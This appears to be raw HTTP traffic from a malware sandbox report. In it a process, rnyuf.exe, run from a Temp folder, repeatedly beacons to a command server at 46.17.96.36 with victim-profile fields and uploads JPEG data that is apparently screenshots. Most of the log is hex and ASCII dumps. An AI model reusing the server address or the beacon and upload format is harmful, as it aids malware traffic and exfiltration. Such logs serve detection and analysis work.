Aug 29, 2021 22:27:48.605494976 CEST	10031	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:27:48.639698029 CEST	10052	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:48.640034914 CEST	10068	OUT	Data Raw: 69 5a 00 c5 3b 14 98 a2 c3 b8 a2 97 14 0a 76 29 89 88 29 71 cd 18 a7 77 a6 48 80 53 80 cd 25 38 55 22 58 84 52 62 9e 45 25 0c 06 e2 96 97 14 b8 a6 02 01 4e 14 01 4b 40 98 52 1a 75 03 93 4c 40 a2 a4 51 4d a9 07 02 ad 22 1b 1a d4 ca 94 8e 2a 32 28 Data Ascii: iZ;v))qwHS%8U"XRbE%NK@RuL@QM"*2(` RB(R<V4Q@$QNHD)jKERJM6u cih)i)GZsKLAP(:)ANpLuE!1hP#c6z7s5Q}Ma
Aug 29, 2021 22:27:48.643316031 CEST	10081	OUT	Data Raw: 4a 33 4c 43 85 3a 98 0d 2e 69 8a c4 82 96 98 0d 38 1a ab 93 61 c2 9d 9a 8c 1a 5c d3 b9 36 24 06 97 35 1e 68 cd 3b 8a c4 bb a8 dd 51 6e a3 75 3e 60 e5 26 0d 46 ea 84 1a 70 34 f9 85 ca 4c 1a 8d de f5 0e 69 73 4f 98 5c a4 bb a8 2d 51 66 8d d4 b9 83 Data Ascii: J3LC:.i8a\6$5h;Qnu>`&Fp4LisO\-QfuPK3Q<uqX~hGK3QyPi2hBhWO\!J)M.j<4`4iiZb$Gp5I(<SZ)A!Z<6E&ii)NKxL-Rh
Aug 29, 2021 22:27:48.643383980 CEST	10084	OUT	Data Raw: 2b 3a df c3 f3 c5 12 a4 fe 21 d6 2e b6 c9 1b ab 48 f1 21 01 18 36 df dd c6 bb 83 63 0d bb 24 8e e3 26 85 be a0 f6 33 2f 35 9d 46 d3 c2 ac 5a e0 ff 00 69 5a 6a 16 f6 73 ca 51 7e 70 67 8d 4b 63 18 1b e3 70 78 1c 6e e3 18 a7 ea be 27 6d 13 c4 7a 82 Data Ascii: +:!.H!6c$&3/5FZiZjsQ~pgKcpxn'mz%0eH8Q0xvQDIV#r81x\uFK-Kp\|/o-4t?_-W_YjQKmw<k,5n9<G-a!\|\0B(
Aug 29, 2021 22:27:48.749947071 CEST	10103	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.4	49847	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:48.691605091 CEST	10102	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:48.786235094 CEST	10103	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49746	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:13.510036945 CEST	2205	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:13.510320902 CEST	2205	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:13.510593891 CEST	2215	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:13.510714054 CEST	2218	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:13.542604923 CEST	2220	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:13.542634964 CEST	2226	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:13.542697906 CEST	2228	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:13.542951107 CEST	2243	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:13.574920893 CEST	2246	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:13.575000048 CEST	2262	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:13.575018883 CEST	2264	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:13.673710108 CEST	2312	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.4	49848	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:48.944394112 CEST	10104	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:49.021600008 CEST	10118	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.4	49849	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.015767097 CEST	10104	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:49.015853882 CEST	10105	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:49.016001940 CEST	10115	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:49.016089916 CEST	10117	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:49.047972918 CEST	10123	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:49.048038960 CEST	10126	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:49.048887968 CEST	10129	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:49.049113035 CEST	10143	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:49.080166101 CEST	10154	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:49.080219030 CEST	10159	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:49.080792904 CEST	10162	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:49.179480076 CEST	10216	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.4	49850	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.178303003 CEST	10216	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:49.251554966 CEST	10217	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.4	49851	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.396509886 CEST	10218	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:49.468354940 CEST	10257	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.4	49852	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.427496910 CEST	10218	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:49.427654028 CEST	10218	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:49.427921057 CEST	10228	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:49.428134918 CEST	10231	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:49.463176012 CEST	10237	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:49.463251114 CEST	10251	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:49.463284016 CEST	10254	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:49.463598967 CEST	10256	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:49.500025034 CEST	10268	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
